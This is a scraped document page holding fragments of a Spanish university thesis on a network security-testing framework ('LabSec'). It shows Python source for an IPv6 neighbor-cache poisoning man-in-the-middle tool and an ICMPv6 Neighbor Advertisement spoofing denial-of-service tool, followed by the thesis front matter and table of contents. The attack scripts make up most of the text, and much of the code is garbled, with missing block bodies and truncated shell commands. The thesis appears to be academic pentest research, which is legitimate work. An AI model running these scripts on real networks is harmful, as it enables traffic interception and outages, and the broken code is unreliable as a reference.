os.system('ip6tables -A OUTPUT -p ipv6-icmp --icmpv6-type
137 -j DROP')
#--------------------------------------------------------------------
#Nombre de script: _namitm.py
import logging
import sys
import time
import threading
try:
except:
sys.exit(0)

macaddr = sys.argv[3] #args[1]
iface = None

else:
iface = sys.argv[4]
conf.verb=0
exe = True
############## formo NS para conocer las MAC #####################

ip1 = IPv6(dst = target1)
nd1 = ICMPv6ND_NS(tgt = target1)
lla1 = ICMPv6NDOptSrcLLAddr(lladdr = macaddr)
pkt1 = ip1/nd1/lla1
ip2 = IPv6(dst = target2)

nd2 = ICMPv6ND_NS(tgt = target2)
lla2 = ICMPv6NDOptSrcLLAddr(lladdr = macaddr)
pkt2 = ip2/nd2/lla2
###################################################################
############ Comprobar que los hosts esten activos ################
try:
send(pkt1)
time.sleep(0.5)
a= sr1(pkt1)
except AttributeError:
print("El target1 " + target1 + " no responde. Abortando.." )
exe= False
time.sleep(3)
sys.exit()
try:
send(pkt2)
time.sleep(0.5)
b = sr1(pkt2)
except AttributeError:
print("El target2 " + target2 + " no responde. Abortando.." )
exe= False
time.sleep(3)
sys.exit()
####################################################################
if (exe):
# imprimimos por partalla la informacion antes del
envenenamiento
mactarget1 = a[ICMPv6NDOptDstLLAddr].lladdr # MAC del target1
mactarget2 = b[ICMPv6NDOptDstLLAddr].lladdr # MAC del target2
mi_ip = a[IPv6].src # ip del atacante
print(Fore.GREEN + "--------------------------- TARGETS -------

-----------------------")
print(" IPv6 Address MAC Address
")
print("--------------------------------------------------------
----------")
print(" {:<15} {} [target 1]".format(target1,

mactarget1))
print(" {:<15} {} [target 2]".format(target2,
mactarget2))
print(Fore.RED + "\n-------------------------------------------
------------------------")
print("ATACANTE [IP: {} MAC: {}]".format(mi_ip, macaddr))

print("--------------------------------------------------------
-----------" + Fore.GREEN)
# Envenenamiento de los target
print("\nEnvenenamiento de targets en progreso..\n")
print("Presione Ctrl-C para tener el ataque.")
def envenenar(target1, target2, mac_atacante):

try:
ip1 = IPv6(src = target1, dst = target2)
nd1 = ICMPv6ND_NA(tgt = target1, R = 0, O=1, S=1)
lla1 = ICMPv6NDOptDstLLAddr(lladdr = macaddr)
pkt1 = ip1/nd1/lla1
ip2 = IPv6(src = target2, dst = target1)

nd2 = ICMPv6ND_NA(tgt = target2, R = 0, O=1, S=1)
lla2 = ICMPv6NDOptDstLLAddr(lladdr = macaddr)
pkt2 = ip2/nd2/lla2
while True:
send(pkt1)
send(pkt2)
time.sleep(5)
######## Restablesco caches de vecino a su valor original
#########
print(Fore.YELLOW +"\nRestableciendo caches de vecinos a
su estado original...")
lla1 = ICMPv6NDOptDstLLAddr(lladdr = mactarget1)
lla2 = ICMPv6NDOptDstLLAddr(lladdr = mactarget2)
for curar in range(3):
send(ip1/nd1/lla1)
send(ip2/nd2/lla2)
time.sleep(0.7)
os.system('echo 0 >
time.sleep(1)
print("Listo")
envenenar(target1, target2, macaddr)
envenenar(target1, target2, macaddr)
#--------------------------------------------------------------------
#Nombre de script: nados.py
# Descripción: Permite realizar un ataque de denegación de servicios mediante la
falsificación de mensajes ICMPv6 NA.
import subprocess
import os
import threading
import time
class Nados():
target = ""
ip = ""

iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ipv6 del de host cuya caché vecino se desea
envenenar

----------------------------- ---------------------------
--
[-] set target 2001:db8::30 Dirección ipv6 de la victima
[-] set target fe80::30
[+] ip: Dirección ip del host (o router) a suplantar

----------------------------- ---------------------------
--
[-] set ip 2001:db8::1 Dirección ipv6 suplantada
[-] set ip fe80::1
""")

self.__info()
else:
print("""

------ ----- -----------
target {:<26} Dirección ipv6 de la victima
ip {:<26} Dirección ipv6 suplantada

{}options info{}
""".format(self.target, self.ip, str(self.iface),
def set(self,args):
try:
elif args[0] == "ip":
self.ip = args[1]
print("[+] ip:",args[1])
else:
print("ERROR!",e)


def run(self):
comando = 'python3 modulos/ipv6/_nados.py ' + self.target

+ ' ' + self.ip + ' ' + str(self.iface)
def proceso():
hilo.start()
os.system('echo 1 >
os.system('ip6tables -A OUTPUT -p ipv6-icmp --icmpv6-type
137 -j DROP')
#--------------------------------------------------------------------
#Nombre de script: _nados.py
import logging
import sys
import time
import threading
try:
except:
sys.exit(0)
target = sys.argv[1] #args[0]

ip = sys.argv[2] #args[1]
iface = None
else:
iface = sys.argv[3]
conf.verb=0
try:
def naspoof(target, ip, ip_v6):
print('Ataque DoS NA en curso...')

print()
print("Para detener el ataque presione Ctrl-C ")
eth = Ether(dst=ip_v6[0][1])
ip01 = IPv6(src = ip, dst = target)
nd01 = ICMPv6ND_NA(tgt = ip, R = 0, S=1, O=1)
lla01 = ICMPv6NDOptDstLLAddr(lladdr =
'00:00:00:00:00:00')
pkt01 = eth/ip01 / nd01 / lla01
lla03 = ICMPv6NDOptDstLLAddr(lladdr = ip_v6[1][1])
pkt03 = eth/ip01 / nd01 / lla03
while True:

try:
sendp(pkt01)
time.sleep(5)
sendp(pkt03)
sendp(pkt03)
print("Limpiando cache vecino...")
time.sleep(5)
break
eth = Ether()
ip1 = IPv6(dst = target)
pkt1 = eth/ip1/icmpv6
ip2 = IPv6(dst = ip)

pkt2 = eth/ip2/icmpv6
ip_v6= []
r1, resp_falla = srp(pkt1, timeout = 1,iface=iface)

for (solicitud, respuesta) in r1:
ip_v6.append((respuesta[IPv6].src, respuesta.src))
r2, resp_falla = srp(pkt2, timeout = 1,iface=iface)

for (solicitud, respuesta) in r2:
ip_v6.append((respuesta[IPv6].src, respuesta.src))
if len(ip_v6)==2:
naspoof(target, ip, ip_v6)
else:
print("Verifique las direcciones IP, hay un host que no
está respondiendo.")
input()
except Exception as er:
print("Error:", er)

Informe - Framework para Pruebas de Seguridad PDF

Încărcat de

Informații document

Titlu original

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

Informe - Framework para Pruebas de Seguridad PDF

Încărcat de

Drepturi de autor:

Formate disponibile

Universidad Nacional de Tucumán

Facultad de Ciencias Exactas y Tecnología

“Framework para pruebas de seguridad en

Tutor: Ing. Giori, Gustavo

• A mis tutores Gustavo y Federico por sus consejos y guía en la realización de

• A mis amigos y compañeros por todas esas tardes de estudio y momentos

• A todos los docentes de la FACET que contribuyeron en mi formación

El presente trabajo de graduación pretende analizar los aspectos asociados a la

El trabajo culmina con el desarrollo de un framework para realizar pruebas de

Dado que en la actualidad existen muchas herramientas para realizar labores de

1.1. Objetivos del trabajo............................................................................................... 1

1.1.1. Objetivos generales .................................................................................1

1.1.2. Objetivos específicos ..............................................................................1

1.2. Delimitación del proyecto ...................................................................................... 2

2. TEST DE PENETRACIÓN (PENTEST) ............................................................... 3

2.1. ¿Qué es un Pentest? ......................................................................................... 3

2.2. Fases de un Pentest .......................................................................................... 3

2.3. Tipos de Pentest ............................................................................................... 6

3. ATAQUES A PROTOCOLOS DE LA PILA TCP/IP ......................................... 8

3.1. Introducción ..................................................................................................... 8

3.2. Recolección de información (gathering information) ..................................... 9

3.2.1. Footprinting ..........................................................................................9

3.2.2. Escaneos .............................................................................................16

3.2.4. Banner Grabbing ................................................................................20

3.2.5. DNS Caché Snooping .........................................................................21

3.2.6. Sniffing ................................................................................................22

3.3. Suplantación de identidad (Spoofing) ............................................................ 23

3.3.1. IP Spoofing .........................................................................................23

3.3.2. ARP Spoofing .......................................................................................24

3.3.3. DNS Spoofing.......................................................................................29

3.3.4. DHCP Spoofing ...................................................................................33

3.3.5. Phishing ...............................................................................................37

3.4. Hombre en el Medio (MITM, Man in the Middle) ......................................... 38

3.5. Secuestro de sesión TCP (TCP Session Hijacking) ....................................... 42

3.6. Denegación de Servicio (DoS, Denial of Service) ......................................... 46

3.6.1. Net Flooding ........................................................................................46

3.6.2. Smurf ....................................................................................................47

3.6.3. TCP SYN Flooding ..............................................................................47

3.6.4. Connection Flooding ...........................................................................48

3.6.5. Ping of Dead ........................................................................................48

3.6.6. Land attack ..........................................................................................49

3.7. Fuerza Bruta (Brute Force)............................................................................ 49

4. ATAQUES EN REDES IPV6 ............................................................................... 52

4.1. Introducción ................................................................................................... 52

4.2. Escaneo de redes IPv6 ................................................................................... 54

4.3. Rogue Router Advertisement Attack .............................................................. 57

4.4. RA Parameter Spoofing ................................................................................. 59

4.5. Flood Router Advertisement .......................................................................... 60

4.6. Neighbor Spoofing ......................................................................................... 61

4.7. NDP Table Exhaustion .................................................................................. 64

4.8. DAD DoS Attack ............................................................................................ 65

4.9. Spoofed Redirect Message ............................................................................. 66

5. FRAMEWORK DE SEGURIDAD ...................................................................... 68

5.1. ¿Qué es un Framework? ................................................................................ 68

5.2. LabSec Framework ........................................................................................ 68

5.2.1. Diseño del Framework .........................................................................68

5.2.2. Tecnologías involucradas ....................................................................69

5.2.3. Instalación ............................................................................................71

5.2.4. Intérprete de comandos ........................................................................71

5.2.5. Creación de nuevos módulos ...............................................................77

5.3 Pruebas de seguridad ..................................................................................... 78

5.3.1 Módulos scanner ...............................................................................78

5.3.2 Módulos bruteforce ...........................................................................83